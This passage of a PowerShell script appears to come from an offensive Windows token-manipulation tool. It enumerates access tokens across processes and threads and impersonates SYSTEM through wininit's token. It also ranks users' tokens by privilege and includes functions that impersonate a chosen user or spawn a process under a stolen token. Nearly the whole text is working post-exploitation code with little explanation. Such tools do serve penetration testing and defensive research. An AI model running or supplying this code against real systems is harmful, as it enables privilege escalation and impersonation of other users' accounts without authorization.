NoteProperty -Name SessionID -Value "Unknown" + + [UInt32]$TokenSessionIdSize = 4 + [IntPtr]$TokenSessionIdPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenSessionIdSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenSessionId, $TokenSessionIdPtr, $TokenSessionIdSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$TokenSessionId = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenSessionIdPtr, [Type][UInt32]) + $ReturnObj.SessionID = $TokenSessionId + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenSessionIdPtr) + + + #Query the token privileges + $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesEnabled -Value @() + $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesAvailable -Value @() + + [UInt32]$TokenPrivilegesSize = 1000 + [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenPrivileges, $TokenPrivilegesPtr, $TokenPrivilegesSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" + } + else + { + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + + #Loop through each privilege + [IntPtr]$PrivilegesBasePtr = [IntPtr](Add-SignedIntAsUnsigned $TokenPrivilegesPtr ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges"))) + $LuidAndAttributeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + for ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) + { + $LuidAndAttributePtr = [IntPtr](Add-SignedIntAsUnsigned $PrivilegesBasePtr ($LuidAndAttributeSize * $i)) + + $LuidAndAttribute = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributePtr, [Type]$LUID_AND_ATTRIBUTES) + + #Lookup privilege name + [UInt32]$PrivilegeNameSize = 60 + $PrivilegeNamePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PrivilegeNameSize) + $PLuid = $LuidAndAttributePtr #The Luid structure is the first object in the LuidAndAttributes structure, so a ptr to LuidAndAttributes also points to Luid + + $Success = $LookupPrivilegeNameW.Invoke([IntPtr]::Zero, $PLuid, $PrivilegeNamePtr, [Ref]$PrivilegeNameSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Call to LookupPrivilegeNameW failed. Error code: $ErrorCode. RealSize: $PrivilegeNameSize" + } + $PrivilegeName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($PrivilegeNamePtr) + + #Get the privilege attributes + $PrivilegeStatus = "" + $Enabled = $false + + if ($LuidAndAttribute.Attributes -eq 0) + { + $Enabled = $false + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) -eq $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) #enabled by default + { + $Enabled = $true + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED) -eq $Win32Constants.SE_PRIVILEGE_ENABLED) #enabled + { + $Enabled = $true + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_REMOVED) -eq $Win32Constants.SE_PRIVILEGE_REMOVED) #SE_PRIVILEGE_REMOVED. This should never exist. Write a warning if it is found so I can investigate why/how it was found. + { + Write-Warning "Unexpected behavior: Found a token with SE_PRIVILEGE_REMOVED. Please report this as a bug. " + } + + if ($Enabled) + { + $ReturnObj.PrivilegesEnabled += ,$PrivilegeName + } + else + { + $ReturnObj.PrivilegesAvailable += ,$PrivilegeName + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PrivilegeNamePtr) + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + + } + else + { + Write-Verbose "Call to LsaGetLogonSessionData succeeded. This SHOULD be SYSTEM since there is no data. $($LogonSessionData.UserName.Length)" + } + + #Free LogonSessionData + $ntstatus = $LsaFreeReturnBuffer.Invoke($LogonSessionDataPtr) + $LogonSessionDataPtr = [IntPtr]::Zero + if ($ntstatus -ne 0) + { + Write-Warning "Call to LsaFreeReturnBuffer failed. Error code: $ntstatus" + } + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + $LuidPtr = [IntPtr]::Zero + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenStatsPtr) + $TokenStatsPtr = [IntPtr]::Zero + + return $ReturnObj + } + + + #Takes an array of TokenObjects built by the script and returns the unique ones + function Get-UniqueTokens + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [Object[]] + $AllTokens + ) + + $TokenByUser = @{} + $TokenByEnabledPriv = @{} + $TokenByAvailablePriv = @{} + + #Filter tokens by user + foreach ($Token in $AllTokens) + { + $Key = $Token.Domain + "\" + $Token.Username + if (-not $TokenByUser.ContainsKey($Key)) + { + #Filter out network logons and junk Windows accounts. This filter eliminates accounts which won't have creds because + # they are network logons (type 3) or logons for which the creds don't matter like LOCOAL SERVICE, DWM, etc.. + if ($Token.LogonType -ne 3 -and + $Token.Username -inotmatch "^DWM-\d+$" -and + $Token.Username -inotmatch "^LOCAL\sSERVICE$") + { + $TokenByUser.Add($Key, $Token) + } + } + else + { + #If Tokens have equal elevation levels, compare their privileges. + if($Token.IsElevated -eq $TokenByUser[$Key].IsElevated) + { + if (($Token.PrivilegesEnabled.Count + $Token.PrivilegesAvailable.Count) -gt ($TokenByUser[$Key].PrivilegesEnabled.Count + $TokenByUser[$Key].PrivilegesAvailable.Count)) + { + $TokenByUser[$Key] = $Token + } + } + #If the new token is elevated and the current token isn't, use the new token + elseif (($Token.IsElevated -eq $true) -and ($TokenByUser[$Key].IsElevated -eq $false)) + { + $TokenByUser[$Key] = $Token + } + } + } + + #Filter tokens by privilege + foreach ($Token in $AllTokens) + { + $Fullname = "$($Token.Domain)\$($Token.Username)" + + #Filter currently enabled privileges + foreach ($Privilege in $Token.PrivilegesEnabled) + { + if ($TokenByEnabledPriv.ContainsKey($Privilege)) + { + if($TokenByEnabledPriv[$Privilege] -notcontains $Fullname) + { + $TokenByEnabledPriv[$Privilege] += ,$Fullname + } + } + else + { + $TokenByEnabledPriv.Add($Privilege, @($Fullname)) + } + } + + #Filter currently available (but not enable) privileges + foreach ($Privilege in $Token.PrivilegesAvailable) + { + if ($TokenByAvailablePriv.ContainsKey($Privilege)) + { + if($TokenByAvailablePriv[$Privilege] -notcontains $Fullname) + { + $TokenByAvailablePriv[$Privilege] += ,$Fullname + } + } + else + { + $TokenByAvailablePriv.Add($Privilege, @($Fullname)) + } + } + } + + $ReturnDict = @{ + TokenByUser = $TokenByUser + TokenByEnabledPriv = $TokenByEnabledPriv + TokenByAvailablePriv = $TokenByAvailablePriv + } + + return (New-Object PSObject -Property $ReturnDict) + } + + + function Invoke-ImpersonateUser + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken + ) + + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) #todo does this need to be freed + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $Success = $ImpersonateLoggedOnUser.Invoke($NewHToken) + if (-not $Success) + { + $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to ImpersonateLoggedOnUser. Error code: $Errorcode" + } + } + + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + + return $Success + } + + + function Create-ProcessWithToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken, + + [Parameter(Position=1, Mandatory=$true)] + [String] + $ProcessName, + + [Parameter(Position=2)] + [String] + $ProcessArgs + ) + + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) + [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) + $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null + [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct + + $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) + [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) + + $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ProcessName) + $ProcessArgsPtr = [IntPtr]::Zero + if (-not [String]::IsNullOrEmpty($ProcessArgs)) + { + $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ProcessArgs) + } + + $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) + if ($Success) + { + #Free the handles returned in the ProcessInfo structure + $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) + $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null + $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CreateProcessWithTokenW failed. Error code: $ErrorCode" + } + + #Free StartupInfo memory and ProcessInfo memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) + $StartupInfoPtr = [Intptr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) + $ProcessInfoPtr = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) + $ProcessNamePtr = [IntPtr]::Zero + + #Close handle for the token duplicated with DuplicateTokenEx + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + } + } + + + function Free-AllTokens + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [PSObject[]] + $TokenInfoObjs + ) + + foreach ($Obj in $TokenInfoObjs) + { + $Success = $CloseHandle.Invoke($Obj.hToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode" + } + $Obj.hToken = [IntPtr]::Zero + } + } + + + #Enumerate all tokens on the system. Returns an array of objects with the token and information about the token. + function Enum-AllTokens + { + $AllTokens = @() + + if ([Environment]::UserName -ine "SYSTEM") + { + #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. + $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id + if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) + { + Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens" + } + + if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero) + { + $CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null + $systemTokenInfo = $null + } + } + + $ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0} + + #Get all tokens + foreach ($Process in $ProcessIds) + { + $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs) + + #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it. + if ($PrimaryTokenInfo -ne $null) + { + [IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken + + if ($hToken -ne [IntPtr]::Zero) + { + #Get the LUID corrosponding to the logon + $ReturnObj = Get-TokenInformation -hToken $hToken + if ($ReturnObj -ne $null) + { + $ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id + + $AllTokens += $ReturnObj + } + } + else + { + Write-Warning "Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)" + } + + foreach ($Thread in $Process.Threads) + { + $ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id + [IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken) + + if ($hToken -ne [IntPtr]::Zero) + { + $ReturnObj = Get-TokenInformation -hToken $hToken + if ($ReturnObj -ne $null) + { + $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id + + $AllTokens += $ReturnObj + } + } + } + } + } + + return $AllTokens + } + + + function Invoke-RevertToSelf + { + Param( + [Parameter(Position=0)] + [Switch] + $ShowOutput + ) + + $Success = $RevertToSelf.Invoke() + + if ($ShowOutput) + { + if ($Success) + { + Write-Output "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + else + { + Write-Output "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + } + } + + + #Main function + function Main + { + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) + { + Write-Error "Script must be run as administrator" -ErrorAction Stop + } + + $OriginalUser = [Environment]::UserName + + if ($PsCmdlet.ParameterSetName -ieq "RevToSelf") + { + Invoke-RevertToSelf -ShowOutput + } + elseif ($PsCmdlet.ParameterSetName -ieq "CreateProcess" -or $PsCmdlet.ParameterSetName -ieq "ImpersonateUser") + { + $AllTokens = Enum-AllTokens + + #Select the token to use + [IntPtr]$hToken = [IntPtr]::Zero + $UniqueTokens = (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser + if ($Username -ne $null -and $Username -ne '') + { + if ($UniqueTokens.ContainsKey($Username)) + { + $hToken = $UniqueTokens[$Username].hToken + Write-Verbose "Selecting token by username" + } + else + { + Write-Error "A token belonging to the specified username was not found. Username: $($Username)" -ErrorAction Stop + } + } + elseif ( $ProcessId -ne $null -and $ProcessId -ne 0) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $ProcessId) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by ProcessID" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to ProcessId $($ProcessId) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop + } + } + elseif ($ThreadId -ne $null -and $ThreadId -ne 0) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ThreadId) -and $Token.ThreadId -eq $ThreadId) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by ThreadId" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to ThreadId $($ThreadId) could not be found. Either the thread doesn't exist or the thread is in a protected process and cannot be opened." -ErrorAction Stop + } + } + elseif ($Process -ne $null) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $Process.Id) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by Process object" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to Process $($Process.Name) ProcessId $($Process.Id) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop + } + } + else + { + Write-Error "Must supply a Username, ProcessId, ThreadId, or Process object" -ErrorAction Stop + } + + #Use the token for the selected action + if ($PsCmdlet.ParameterSetName -ieq "CreateProcess") + { + if (-not $NoUI) + { + Set-DesktopACLs + } + + Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs + + if ($OriginalUser -ine "SYSTEM") + { + Invoke-RevertToSelf + } + } + elseif ($ImpersonateUser) + { + Invoke-ImpersonateUser -hToken $hToken | Out-Null + Write-Output "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + + Free-AllTokens -TokenInfoObjs $AllTokens + } + elseif ($PsCmdlet.ParameterSetName -ieq "WhoAmI") + { + Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + } + else #Enumerate tokens + { + $AllTokens = Enum-AllTokens + + if ($PsCmdlet.ParameterSetName -ieq "ShowAll") + { + Write-Output $AllTokens + } + else + { + Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values + } + + if ($OriginalUser -ine "SYSTEM") + { + Invoke-RevertToSelf + } + + Free-AllTokens -TokenInfoObjs $AllTokens + } + } + + + #Start the main function + Main +} + |